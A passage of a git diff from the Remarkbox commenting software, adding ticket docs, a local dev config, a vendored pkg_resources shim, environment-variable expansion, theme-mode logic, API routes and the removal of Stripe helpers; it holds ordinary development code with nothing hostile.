||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
On standalone and FAQ sites, users can create threads with duplicate titles. There's no feedback showing existing threads before creation.
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
1. Add an AJAX search endpoint that returns threads matching a title prefix
|
||||||
|
2. Wire it into the "new thread" form with a debounced typeahead
|
||||||
|
3. Show matching existing threads as suggestions before submission
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/api/__init__.py` — added `api-threads-search` route
|
||||||
|
- `remarkbox/api/views.py` — added `api_search_threads()` endpoint (GET /api/v1/threads/search)
|
||||||
|
- `remarkbox/static/js/custom.js` — debounced typeahead for thread title input
|
||||||
|
- `remarkbox/static/css/common.css` — CSS for suggestion dropdown
|
||||||
|
- `remarkbox/templates/base.j2` — added `data-namespace` attribute to body tag
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Typing a thread title shows matching existing threads
|
||||||
|
- [x] Users can click a suggestion to navigate to the existing thread
|
||||||
|
- [x] New thread creation still works when no match exists
|
||||||
23
docs/tickets/index.md
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Remarkbox Tickets
|
||||||
|
|
||||||
|
Tracked issues from the meta.remarkbox.com and faq.remarkbox.com audit (2026-02-01).
|
||||||
|
|
||||||
|
| # | Title | Status | Priority | Source |
|
||||||
|
|---|-------|--------|----------|--------|
|
||||||
|
| [T0](0.md) | User profile leaks comments across namespaces | resolved | high | meta `cc62eb06` |
|
||||||
|
| [T1](1.md) | Namespace/URI case-sensitivity causes "stock comments" | resolved | high | FAQ `7eb0baec`, `6b21e360` |
|
||||||
|
| [T2](2.md) | Large thread fetch causes 502 | resolved | high | production `www.remarkbox.com` |
|
||||||
|
| [T3](3.md) | GDPR/CCPA compliance tooling | resolved | medium | meta `a819d4f0` |
|
||||||
|
| [T4](4.md) | Customizable button text | resolved | low | meta `c29c9c22`, FAQ `5a508a9c` |
|
||||||
|
| [T5](5.md) | Self-service namespace deletion | resolved | low | FAQ `72475f88` |
|
||||||
|
| [T6](6.md) | Mention notifications (@username) | resolved | low | meta `b82332ce` |
|
||||||
|
| [T7](7.md) | Webmentions / IndieWeb support | resolved | low | meta `bd7112ff` |
|
||||||
|
| [T8](8.md) | Nesting depth settings per namespace | resolved | low | meta `137101ac` |
|
||||||
|
| [T9](9.md) | Prevent duplicate threads (AJAX search) | resolved | low | meta `642831b4` |
|
||||||
|
| [T10](10.md) | Browser push notifications | resolved | low | meta `9b970f14` |
|
||||||
|
| [T11](11.md) | Document "comments disappear when moving embed" | resolved | low | FAQ `6260e726` |
|
||||||
|
| [T12](12.md) | Reply to API-only CRUD thread confirming done | resolved | low | meta `6db01560` |
|
||||||
|
| [T13](13.md) | Reply to lock/archive thread confirming done | resolved | low | meta `7e9d5864` |
|
||||||
|
| [T14](14.md) | meta/faq SSL outage — missing proxy blocks | resolved | critical | postmortem 2026-02-25 |
|
||||||
|
| [T15](15.md) | Operation Undigg — Pandoc export & wiki mode | resolved | high | fox directive 2026-03-09 |
|
||||||
|
| [T16](16.md) | Themes self-contained; `common.css` is the built-in (embed) stylesheet | open | medium | fox directive 2026-05-12 |
|
||||||
71
foxhop-local.ini
Normal file
|
|
@ -0,0 +1,71 @@
|
||||||
|
[app:main]
|
||||||
|
use = egg:remarkbox
|
||||||
|
|
||||||
|
pyramid.reload_templates = true
|
||||||
|
pyramid.debug_authorization = false
|
||||||
|
pyramid.debug_notfound = false
|
||||||
|
pyramid.debug_routematch = false
|
||||||
|
pyramid.default_locale_name = en
|
||||||
|
pyramid.includes =
|
||||||
|
pyramid_tm
|
||||||
|
|
||||||
|
sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite
|
||||||
|
|
||||||
|
session.hashalg = sha512
|
||||||
|
session.secret = local-foxhop-test
|
||||||
|
session.timeout = 31104000
|
||||||
|
session.max_age = 31104000
|
||||||
|
session.reissue_time = 15552000
|
||||||
|
session.secure = False
|
||||||
|
session.samesite = lax
|
||||||
|
|
||||||
|
app.avatar.size = 36
|
||||||
|
app.email.relay = localhost
|
||||||
|
app.email.sender = no-reply@foxhop.net
|
||||||
|
app.theme = chaostheory
|
||||||
|
app.stand_alone_mode = enabled
|
||||||
|
app.namespace = foxhop.net
|
||||||
|
|
||||||
|
[server:main]
|
||||||
|
use = egg:waitress#main
|
||||||
|
host = 0.0.0.0
|
||||||
|
port = 6004
|
||||||
|
|
||||||
|
[alembic]
|
||||||
|
script_location = remarkbox:scripts/alembic
|
||||||
|
sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite
|
||||||
|
|
||||||
|
[loggers]
|
||||||
|
keys = root, remarkbox, sqlalchemy
|
||||||
|
|
||||||
|
[handlers]
|
||||||
|
keys = console
|
||||||
|
|
||||||
|
[formatters]
|
||||||
|
keys = generic
|
||||||
|
|
||||||
|
[logger_root]
|
||||||
|
level = INFO
|
||||||
|
handlers = console
|
||||||
|
|
||||||
|
[logger_remarkbox]
|
||||||
|
level = DEBUG
|
||||||
|
handlers =
|
||||||
|
qualname = remarkbox
|
||||||
|
|
||||||
|
[logger_sqlalchemy]
|
||||||
|
level = WARN
|
||||||
|
handlers =
|
||||||
|
qualname = sqlalchemy.engine
|
||||||
|
|
||||||
|
[handler_console]
|
||||||
|
class = StreamHandler
|
||||||
|
args = (sys.stderr,)
|
||||||
|
level = NOTSET
|
||||||
|
formatter = generic
|
||||||
|
|
||||||
|
[formatter_generic]
|
||||||
|
format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s
|
||||||
|
|
||||||
|
[pshell]
|
||||||
|
m = remarkbox.models
|
||||||
|
|
@ -57,11 +57,11 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
|
||||||
var thread_title = window.document.title;
|
var thread_title = window.document.title;
|
||||||
var thread_fragment = window.location.hash;
|
var thread_fragment = window.location.hash;
|
||||||
|
|
||||||
<!-- rb owner was here -->
|
|
||||||
var rb_src = "http://127.0.0.1:6543/embed" +
|
var rb_src = "http://127.0.0.1:6543/embed" +
|
||||||
"?rb_owner_key=" + rb_owner_key +
|
"?rb_owner_key=" + rb_owner_key +
|
||||||
"&thread_title=" + escape(thread_title) +
|
"&thread_title=" + escape(thread_title) +
|
||||||
"&thread_uri=" + encodeURIComponent(thread_uri) +
|
"&thread_uri=" + encodeURIComponent(thread_uri) +
|
||||||
|
"&mode=light" +
|
||||||
thread_fragment;
|
thread_fragment;
|
||||||
|
|
||||||
function create_remarkbox_iframe() {
|
function create_remarkbox_iframe() {
|
||||||
|
|
|
||||||
|
|
@ -60,7 +60,7 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
|
||||||
var thread_fragment = window.location.hash;
|
var thread_fragment = window.location.hash;
|
||||||
var email = "russell.ballestrini@gmail.com";
|
var email = "russell.ballestrini@gmail.com";
|
||||||
function create_remarkbox_iframe() {
|
function create_remarkbox_iframe() {
|
||||||
var src = "http://127.0.0.1:6543/embed?rb_owner_key=" + rb_owner_key + "&email=" + email + "&thread_uri=" + thread_uri;
|
var src = "http://127.0.0.1:6543/embed?rb_owner_key=" + rb_owner_key + "&email=" + email + "&thread_uri=" + thread_uri + "&mode=light";
|
||||||
var ifrm = document.createElement("iframe");
|
var ifrm = document.createElement("iframe");
|
||||||
ifrm.setAttribute("id", "remarkbox-iframe");
|
ifrm.setAttribute("id", "remarkbox-iframe");
|
||||||
ifrm.setAttribute("scrolling", "no");
|
ifrm.setAttribute("scrolling", "no");
|
||||||
|
|
@ -86,5 +86,4 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -225,12 +225,12 @@ We should build a Remarkbox to matrix bridge. I bet it is a lot like working wit
|
||||||
Sat Apr 3 10:40:05 PM EDT 2021
|
Sat Apr 3 10:40:05 PM EDT 2021
|
||||||
=====================================
|
=====================================
|
||||||
|
|
||||||
this is a useful SQL query to SELECT users who want to pay and also gave a credit card.
|
this is a useful SQL query to SELECT users who have paid.
|
||||||
|
|
||||||
::
|
::
|
||||||
SELECT * FROM rb_pay_what_you_can
|
SELECT * FROM rb_payment
|
||||||
INNER JOIN rb_user ON rb_user.id = rb_pay_what_you_can.user_id
|
INNER JOIN rb_user ON rb_user.id = rb_payment.user_id
|
||||||
WHERE amount > 0 and rb_user.stripe_id is not null;
|
WHERE status = 'completed';
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,3 +1,13 @@
|
||||||
|
# Vendored pkg_resources shim: setuptools 81 dropped pkg_resources, but pyramid
|
||||||
|
# still imports it. Inject our _vendor dir into sys.path BEFORE the pyramid
|
||||||
|
# import below so `import pkg_resources` finds our shim. See
|
||||||
|
# remarkbox/_vendor/pkg_resources/__init__.py.
|
||||||
|
import os as _rb_os
|
||||||
|
import sys as _rb_sys
|
||||||
|
_rb_vendor = _rb_os.path.join(_rb_os.path.dirname(__file__), "_vendor")
|
||||||
|
if _rb_vendor not in _rb_sys.path:
|
||||||
|
_rb_sys.path.insert(0, _rb_vendor)
|
||||||
|
|
||||||
from pyramid.config import Configurator
|
from pyramid.config import Configurator
|
||||||
|
|
||||||
from sqlalchemy import engine_from_config
|
from sqlalchemy import engine_from_config
|
||||||
|
|
@ -26,35 +36,88 @@ from pyramid.session import SignedCookieSessionFactory
|
||||||
import re
|
import re
|
||||||
|
|
||||||
# needed to load themes.
|
# needed to load themes.
|
||||||
from pkg_resources import iter_entry_points
|
from importlib.metadata import entry_points
|
||||||
|
|
||||||
# needed to support expanding ENV vars from ini.
|
|
||||||
from os.path import expandvars
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
|
||||||
log = logging.getLogger(__name__)
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
JINJA2_EXTENSION = ".j2"
|
JINJA2_EXTENSION = ".j2"
|
||||||
|
|
||||||
|
|
||||||
|
def _get_static_version():
|
||||||
|
"""Return a short git hash for cache-busting static assets."""
|
||||||
|
_this_dir = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
for candidate in [
|
||||||
|
os.path.join(_this_dir, "..", "commit-hash.txt"),
|
||||||
|
os.path.join(os.sys.prefix, "commit-hash.txt"),
|
||||||
|
]:
|
||||||
|
try:
|
||||||
|
with open(candidate) as f:
|
||||||
|
return f.read().strip()[:7]
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
return subprocess.check_output(
|
||||||
|
["git", "rev-parse", "--short", "HEAD"],
|
||||||
|
cwd=_this_dir,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
).decode().strip()
|
||||||
|
except Exception:
|
||||||
|
return "0"
|
||||||
|
|
||||||
|
|
||||||
|
STATIC_VERSION = _get_static_version()
|
||||||
|
|
||||||
|
|
||||||
def get_int_or_bool_or_none_or_str(value):
|
def get_int_or_bool_or_none_or_str(value):
|
||||||
"""
|
"""
|
||||||
Given a string value pulled from a configuration file,
|
Given a string value pulled from a configuration file,
|
||||||
this function attempts to return the value with the proper type.
|
this function attempts to return the value with the proper type.
|
||||||
"""
|
"""
|
||||||
|
# Handle non-string values
|
||||||
|
if not isinstance(value, str):
|
||||||
|
return value
|
||||||
|
|
||||||
|
# Handle string values
|
||||||
try:
|
try:
|
||||||
return int(value)
|
return int(value)
|
||||||
except ValueError:
|
except ValueError:
|
||||||
if value.lower() in {"yes", "y", "true", "y"}:
|
value_lower = value.lower()
|
||||||
|
if value_lower in {"yes", "y", "true", "t", "1"}:
|
||||||
return True
|
return True
|
||||||
elif value.lower() in {"no", "n", "false", "f"}:
|
elif value_lower in {"no", "n", "false", "f", "0"}:
|
||||||
return False
|
return False
|
||||||
elif value.lower() == "none":
|
elif value_lower in {"none", "null"}:
|
||||||
return None
|
return None
|
||||||
return str(value)
|
return str(value)
|
||||||
|
|
||||||
|
|
||||||
|
def expand_env_vars(value):
|
||||||
|
"""Expand environment variables including ${VAR:-default} syntax."""
|
||||||
|
if not isinstance(value, str):
|
||||||
|
return value
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
# Handle ${VAR:-default} syntax
|
||||||
|
# Use a non-greedy match to stop at the first closing brace
|
||||||
|
pattern = r"\$\{([^:}]*)(?::-([^}]*?))?\}"
|
||||||
|
|
||||||
|
def replacer(match):
|
||||||
|
var_name = match.group(1)
|
||||||
|
# Handle empty variable name case ${:-default}
|
||||||
|
if not var_name:
|
||||||
|
return match.group(2) if match.group(2) is not None else match.group(0)
|
||||||
|
default_value = match.group(2) if match.group(2) is not None else ""
|
||||||
|
return os.environ.get(var_name, default_value)
|
||||||
|
|
||||||
|
return re.sub(pattern, replacer, value)
|
||||||
|
|
||||||
|
|
||||||
def get_children_settings(settings, parent_key):
|
def get_children_settings(settings, parent_key):
|
||||||
"""
|
"""
|
||||||
Accept a settings dict and parent key, return dict of children
|
Accept a settings dict and parent key, return dict of children
|
||||||
|
|
@ -73,32 +136,30 @@ def get_children_settings(settings, parent_key):
|
||||||
{'hashalg': 'md5'}
|
{'hashalg': 'md5'}
|
||||||
|
|
||||||
"""
|
"""
|
||||||
# needed to support expanding ENV vars from ini.
|
|
||||||
from os.path import expandvars
|
|
||||||
|
|
||||||
# the +1 is the . between parent and child settings.
|
# the +1 is the . between parent and child settings.
|
||||||
parent_len = len(parent_key) + 1
|
parent_len = len(parent_key) + 1
|
||||||
children = {}
|
children = {}
|
||||||
for key, value in settings.items():
|
for key, value in settings.items():
|
||||||
if parent_key in key:
|
if parent_key in key:
|
||||||
# expandvars replaces template with ENV vars.
|
# Expand environment variables with support for defaults
|
||||||
children[key[parent_len:]] = get_int_or_bool_or_none_or_str(
|
expanded_value = expand_env_vars(value)
|
||||||
expandvars(value)
|
children[key[parent_len:]] = get_int_or_bool_or_none_or_str(expanded_value)
|
||||||
)
|
|
||||||
return children
|
return children
|
||||||
|
|
||||||
|
|
||||||
def load_entry_points(group_name):
|
def load_entry_points(group_name):
|
||||||
"""Return a dictionary of entry_points related to given group_name"""
|
"""Return a dictionary of entry_points related to given group_name"""
|
||||||
entry_points = {}
|
result = {}
|
||||||
for entry_point in iter_entry_points(group=group_name, name=None):
|
for ep in entry_points(group=group_name):
|
||||||
entry_points[entry_point.name] = entry_point.load()
|
result[ep.name] = ep.load()
|
||||||
return entry_points
|
return result
|
||||||
|
|
||||||
|
|
||||||
def load_jinja2_themes(config):
|
def load_jinja2_themes(config):
|
||||||
"""Automatically load any entry_point registered Remarkbox theme."""
|
"""Automatically load any entry_point registered Remarkbox theme."""
|
||||||
themes = load_entry_points("remarkbox.themes")
|
themes = load_entry_points("remarkbox.themes")
|
||||||
|
theme_defaults = {}
|
||||||
|
|
||||||
for theme_name, theme_module in themes.items():
|
for theme_name, theme_module in themes.items():
|
||||||
theme_module_name = theme_module.__name__
|
theme_module_name = theme_module.__name__
|
||||||
# teach Jinja2 about the template dir in the theme package.
|
# teach Jinja2 about the template dir in the theme package.
|
||||||
|
|
@ -111,6 +172,12 @@ def load_jinja2_themes(config):
|
||||||
"{}:static/theme/{}".format(theme_module_name, theme_name),
|
"{}:static/theme/{}".format(theme_module_name, theme_name),
|
||||||
cache_max_age=3600,
|
cache_max_age=3600,
|
||||||
)
|
)
|
||||||
|
# Collect theme's default mode if defined
|
||||||
|
if hasattr(theme_module, 'default_theme_mode'):
|
||||||
|
theme_defaults[theme_name] = theme_module.default_theme_mode
|
||||||
|
|
||||||
|
# Store theme defaults in config registry for later access
|
||||||
|
config.registry.settings['theme_defaults'] = theme_defaults
|
||||||
return config
|
return config
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -147,6 +214,11 @@ def maybe_root_domain(string):
|
||||||
def main(global_config, **settings):
|
def main(global_config, **settings):
|
||||||
"""This function returns a Pyramid WSGI application."""
|
"""This function returns a Pyramid WSGI application."""
|
||||||
|
|
||||||
|
# Expand environment variables in all settings using our custom function
|
||||||
|
for key, value in list(settings.items()):
|
||||||
|
if isinstance(value, str):
|
||||||
|
settings[key] = expand_env_vars(value)
|
||||||
|
|
||||||
app_settings = get_children_settings(settings, "app")
|
app_settings = get_children_settings(settings, "app")
|
||||||
session_settings = get_children_settings(settings, "session")
|
session_settings = get_children_settings(settings, "session")
|
||||||
|
|
||||||
|
|
@ -299,7 +371,8 @@ def main(global_config, **settings):
|
||||||
return get_or_create_namespace(request.dbsession, namespace_name)
|
return get_or_create_namespace(request.dbsession, namespace_name)
|
||||||
elif request.node:
|
elif request.node:
|
||||||
return request.node.root.namespace
|
return request.node.root.namespace
|
||||||
return get_or_create_namespace(request.dbsession, request.domain)
|
forced = request.app.get("namespace")
|
||||||
|
return get_or_create_namespace(request.dbsession, forced if forced else request.domain)
|
||||||
|
|
||||||
def add_mode(request):
|
def add_mode(request):
|
||||||
"""return mode of 'embed' or 'basic'"""
|
"""return mode of 'embed' or 'basic'"""
|
||||||
|
|
@ -372,36 +445,6 @@ def main(global_config, **settings):
|
||||||
and request.app_domain == request.namespace.name
|
and request.app_domain == request.namespace.name
|
||||||
)
|
)
|
||||||
|
|
||||||
def add_stripe(request):
|
|
||||||
"""Attach a stripe object with creds to request."""
|
|
||||||
import stripe
|
|
||||||
|
|
||||||
stripe.api_key = request.app.get("stripe.secret")
|
|
||||||
return stripe
|
|
||||||
|
|
||||||
def add_stripe_customer(request):
|
|
||||||
if request.user:
|
|
||||||
if not request.user.stripe_id:
|
|
||||||
# create a new stripe customer.
|
|
||||||
customer = request.stripe.Customer.create(email=request.user.email)
|
|
||||||
request.user.stripe_id = customer.id
|
|
||||||
request.dbsession.add(request.user)
|
|
||||||
request.dbsession.flush()
|
|
||||||
return request.stripe.Customer.retrieve(request.user.stripe_id)
|
|
||||||
return None
|
|
||||||
|
|
||||||
def add_stripe_saved_cards(request):
|
|
||||||
if request.user and request.user.stripe_id:
|
|
||||||
return request.stripe_customer.sources
|
|
||||||
return []
|
|
||||||
|
|
||||||
def add_stripe_active_card(request):
|
|
||||||
if request.user and request.user.stripe_id:
|
|
||||||
if request.stripe_customer.default_source:
|
|
||||||
return request.stripe_customer.sources.retrieve(
|
|
||||||
request.stripe_customer.default_source
|
|
||||||
)
|
|
||||||
return None
|
|
||||||
|
|
||||||
def add_avatar_size(request):
|
def add_avatar_size(request):
|
||||||
"""Attach avatar size or default."""
|
"""Attach avatar size or default."""
|
||||||
|
|
@ -410,6 +453,9 @@ def main(global_config, **settings):
|
||||||
return request.namespace.avatar_size
|
return request.namespace.avatar_size
|
||||||
return request.app.get("avatar.size", 30)
|
return request.app.get("avatar.size", 30)
|
||||||
|
|
||||||
|
def add_static_version(request):
|
||||||
|
return STATIC_VERSION
|
||||||
|
|
||||||
def add_stand_alone_mode(request):
|
def add_stand_alone_mode(request):
|
||||||
if request.app.get("stand_alone_mode", "disabled") == "enabled":
|
if request.app.get("stand_alone_mode", "disabled") == "enabled":
|
||||||
return True
|
return True
|
||||||
|
|
@ -477,6 +523,8 @@ def main(global_config, **settings):
|
||||||
def add_page_number(request):
|
def add_page_number(request):
|
||||||
"""Attach page_number starting at 0"""
|
"""Attach page_number starting at 0"""
|
||||||
page_number = int(request.params.get("page", 1))
|
page_number = int(request.params.get("page", 1))
|
||||||
|
# Cap to prevent OFFSET DoS — large offsets force full table scans (CWE-407).
|
||||||
|
page_number = min(page_number, 1000)
|
||||||
return page_number if page_number >= 1 else 1
|
return page_number if page_number >= 1 else 1
|
||||||
|
|
||||||
def add_page_size(request):
|
def add_page_size(request):
|
||||||
|
|
@ -492,6 +540,43 @@ def main(global_config, **settings):
|
||||||
def add_mathjax(request):
|
def add_mathjax(request):
|
||||||
return "true" if request.namespace.mathjax else "false"
|
return "true" if request.namespace.mathjax else "false"
|
||||||
|
|
||||||
|
def add_theme_mode(request):
|
||||||
|
"""
|
||||||
|
Return theme mode 'light' or 'dark'.
|
||||||
|
Priority: user preference > query params > theme default > 'light'.
|
||||||
|
"""
|
||||||
|
# If user is authenticated and has a preference
|
||||||
|
if request.user and request.user.authenticated and request.user.theme_mode != 'auto':
|
||||||
|
return request.user.theme_mode
|
||||||
|
|
||||||
|
# Check if there's a mode parameter (for embeds or overrides)
|
||||||
|
param_mode = request.params.get("mode")
|
||||||
|
if param_mode in ("light", "dark"):
|
||||||
|
return param_mode
|
||||||
|
|
||||||
|
# Use theme's default mode if available
|
||||||
|
if request.theme:
|
||||||
|
theme_defaults = request.registry.settings.get('theme_defaults', {})
|
||||||
|
theme_default = theme_defaults.get(request.theme)
|
||||||
|
if theme_default in ("light", "dark"):
|
||||||
|
return theme_default
|
||||||
|
|
||||||
|
# Final fallback to light
|
||||||
|
return "light"
|
||||||
|
|
||||||
|
def add_webmentions(request):
|
||||||
|
"""Return verified webmentions for the current thread, or empty list."""
|
||||||
|
from remarkbox.models.webmention import get_verified_webmentions_for_node
|
||||||
|
if request.node and request.node.is_root:
|
||||||
|
return get_verified_webmentions_for_node(
|
||||||
|
request.dbsession, request.node.id
|
||||||
|
)
|
||||||
|
elif request.node:
|
||||||
|
return get_verified_webmentions_for_node(
|
||||||
|
request.dbsession, request.node.root_id
|
||||||
|
)
|
||||||
|
return []
|
||||||
|
|
||||||
# register functions to app config as request methods.
|
# register functions to app config as request methods.
|
||||||
# each request instance will run these functions and attach results.
|
# each request instance will run these functions and attach results.
|
||||||
# cache result with `reify=True` to prevent multiple db lookups.
|
# cache result with `reify=True` to prevent multiple db lookups.
|
||||||
|
|
@ -520,10 +605,7 @@ def main(global_config, **settings):
|
||||||
config.add_request_method(add_marketing_domain, "marketing_domain", reify=True)
|
config.add_request_method(add_marketing_domain, "marketing_domain", reify=True)
|
||||||
config.add_request_method(add_faq_home, "faq_home", reify=True)
|
config.add_request_method(add_faq_home, "faq_home", reify=True)
|
||||||
config.add_request_method(add_saas_home, "saas_home", reify=True)
|
config.add_request_method(add_saas_home, "saas_home", reify=True)
|
||||||
config.add_request_method(add_stripe, "stripe", reify=True)
|
config.add_request_method(add_static_version, "static_version", reify=True)
|
||||||
config.add_request_method(add_stripe_customer, "stripe_customer", reify=True)
|
|
||||||
config.add_request_method(add_stripe_saved_cards, "stripe_saved_cards", reify=True)
|
|
||||||
config.add_request_method(add_stripe_active_card, "stripe_active_card", reify=True)
|
|
||||||
config.add_request_method(add_stand_alone_mode, "stand_alone_mode", reify=True)
|
config.add_request_method(add_stand_alone_mode, "stand_alone_mode", reify=True)
|
||||||
config.add_request_method(add_avatar_size, "avatar_size", reify=True)
|
config.add_request_method(add_avatar_size, "avatar_size", reify=True)
|
||||||
config.add_request_method(add_theme, "theme", reify=True)
|
config.add_request_method(add_theme, "theme", reify=True)
|
||||||
|
|
@ -546,10 +628,20 @@ def main(global_config, **settings):
|
||||||
config.add_request_method(add_page_offset, "page_offset", reify=True)
|
config.add_request_method(add_page_offset, "page_offset", reify=True)
|
||||||
config.add_request_method(add_node_order, "node_order", reify=True)
|
config.add_request_method(add_node_order, "node_order", reify=True)
|
||||||
config.add_request_method(add_mathjax, "mathjax", reify=True)
|
config.add_request_method(add_mathjax, "mathjax", reify=True)
|
||||||
|
config.add_request_method(add_theme_mode, "theme_mode", reify=True)
|
||||||
|
config.add_request_method(add_webmentions, "webmentions", reify=True)
|
||||||
|
|
||||||
|
# API routes must be included before .routes because
|
||||||
|
# basic-show-node2 (/{node_id}/{slug:.*}) is a catch-all
|
||||||
|
# that would match /api/v1/* paths otherwise.
|
||||||
|
config.include("remarkbox.api")
|
||||||
|
|
||||||
# all of the web application routes.
|
# all of the web application routes.
|
||||||
config.include(".routes")
|
config.include(".routes")
|
||||||
|
|
||||||
|
# Rate limiting tween for API endpoints.
|
||||||
|
config.add_tween("remarkbox.api.rate_limit.rate_limit_tween_factory")
|
||||||
|
|
||||||
# Scan for views.
|
# Scan for views.
|
||||||
config.scan()
|
config.scan()
|
||||||
|
|
||||||
|
|
|
||||||
0
remarkbox/_vendor/__init__.py
Normal file
115
remarkbox/_vendor/pkg_resources/__init__.py
Normal file
|
|
@ -0,0 +1,115 @@
|
||||||
|
"""
|
||||||
|
Minimal vendored pkg_resources shim for Remarkbox.
|
||||||
|
|
||||||
|
setuptools 81 dropped pkg_resources from its distribution. Pyramid (and a
|
||||||
|
handful of other libraries) still import it. This shim provides the narrow
|
||||||
|
surface pyramid actually uses, backed entirely by stdlib (importlib.resources,
|
||||||
|
importlib.import_module). No setuptools coupling, no jaraco.text, no
|
||||||
|
platformdirs. Bleeding-edge friendly.
|
||||||
|
|
||||||
|
Surface (only what pyramid touches):
|
||||||
|
resource_filename(package, name) -> str
|
||||||
|
resource_stream(package, name) -> IO[bytes]
|
||||||
|
resource_string(package, name) -> bytes
|
||||||
|
resource_exists(package, name) -> bool
|
||||||
|
resource_isdir(package, name) -> bool
|
||||||
|
resource_listdir(package, name) -> list[str]
|
||||||
|
DefaultProvider -- class, subclassable
|
||||||
|
register_loader_type -- no-op registry stub
|
||||||
|
|
||||||
|
If a future dependency needs more of the legacy pkg_resources API, extend
|
||||||
|
this file. Do not pull in upstream setuptools' pkg_resources/__init__.py
|
||||||
|
(3700 lines + jaraco.text + platformdirs); that defeats the point.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
from importlib.resources import files
|
||||||
|
|
||||||
|
|
||||||
|
def _ref(package, name=""):
|
||||||
|
if not isinstance(package, str):
|
||||||
|
package = package.__name__
|
||||||
|
ref = files(package)
|
||||||
|
if name:
|
||||||
|
ref = ref / name
|
||||||
|
return ref
|
||||||
|
|
||||||
|
|
||||||
|
def resource_filename(package, name):
|
||||||
|
return str(_ref(package, name))
|
||||||
|
|
||||||
|
|
||||||
|
def resource_stream(package, name):
|
||||||
|
return _ref(package, name).open("rb")
|
||||||
|
|
||||||
|
|
||||||
|
def resource_string(package, name):
|
||||||
|
return _ref(package, name).read_bytes()
|
||||||
|
|
||||||
|
|
||||||
|
def resource_exists(package, name):
|
||||||
|
try:
|
||||||
|
ref = _ref(package, name)
|
||||||
|
except (FileNotFoundError, ModuleNotFoundError):
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
return ref.is_file() or ref.is_dir()
|
||||||
|
except (FileNotFoundError, NotADirectoryError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def resource_isdir(package, name):
|
||||||
|
try:
|
||||||
|
return _ref(package, name).is_dir()
|
||||||
|
except (FileNotFoundError, ModuleNotFoundError, NotADirectoryError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def resource_listdir(package, name):
|
||||||
|
try:
|
||||||
|
return [child.name for child in _ref(package, name).iterdir()]
|
||||||
|
except (FileNotFoundError, ModuleNotFoundError, NotADirectoryError):
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
class DefaultProvider:
|
||||||
|
"""Minimal stand-in for pkg_resources.DefaultProvider.
|
||||||
|
|
||||||
|
Pyramid subclasses this to wire its asset-override system. The `manager`
|
||||||
|
arg in get_resource_* (originally a ResourceManager for zip-egg cache
|
||||||
|
extraction) is unused — modern pip installs are unpacked directories.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, module):
|
||||||
|
self.module = module
|
||||||
|
self.module_path = None
|
||||||
|
if getattr(module, "__file__", None):
|
||||||
|
self.module_path = os.path.dirname(module.__file__)
|
||||||
|
|
||||||
|
def _name(self):
|
||||||
|
return self.module.__name__
|
||||||
|
|
||||||
|
def get_resource_filename(self, manager, resource_name):
|
||||||
|
return resource_filename(self._name(), resource_name)
|
||||||
|
|
||||||
|
def get_resource_stream(self, manager, resource_name):
|
||||||
|
return resource_stream(self._name(), resource_name)
|
||||||
|
|
||||||
|
def get_resource_string(self, manager, resource_name):
|
||||||
|
return resource_string(self._name(), resource_name)
|
||||||
|
|
||||||
|
def has_resource(self, resource_name):
|
||||||
|
return resource_exists(self._name(), resource_name)
|
||||||
|
|
||||||
|
def resource_isdir(self, resource_name):
|
||||||
|
return resource_isdir(self._name(), resource_name)
|
||||||
|
|
||||||
|
def resource_listdir(self, resource_name):
|
||||||
|
return resource_listdir(self._name(), resource_name)
|
||||||
|
|
||||||
|
|
||||||
|
_LOADER_TYPES = {}
|
||||||
|
|
||||||
|
|
||||||
|
def register_loader_type(loader_class, provider_class):
|
||||||
|
_LOADER_TYPES[loader_class] = provider_class
|
||||||
32
remarkbox/api/__init__.py
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
def includeme(config):
|
||||||
|
config.add_route("api-version", "/api/v1/version")
|
||||||
|
config.add_route("api-threads-list", "/api/v1/threads")
|
||||||
|
config.add_route("api-threads-search", "/api/v1/threads/search")
|
||||||
|
config.add_route("api-thread-detail", "/api/v1/threads/{node_id}")
|
||||||
|
config.add_route("api-thread-replies", "/api/v1/threads/{node_id}/replies")
|
||||||
|
# Wiki / revision routes (must come before api-node-detail catch-all)
|
||||||
|
config.add_route("api-node-revisions", "/api/v1/nodes/{node_id}/revisions")
|
||||||
|
config.add_route("api-node-wiki-edit", "/api/v1/nodes/{node_id}/wiki-edit")
|
||||||
|
config.add_route("api-node-detail", "/api/v1/nodes/{node_id}")
|
||||||
|
config.add_route("api-revision-detail", "/api/v1/revisions/{revision_id}")
|
||||||
|
config.add_route("api-revision-diff", "/api/v1/revisions/{revision_id}/diff/{other_id}")
|
||||||
|
config.add_route("api-auth-login", "/api/v1/auth/login")
|
||||||
|
config.add_route("api-auth-verify", "/api/v1/auth/verify")
|
||||||
|
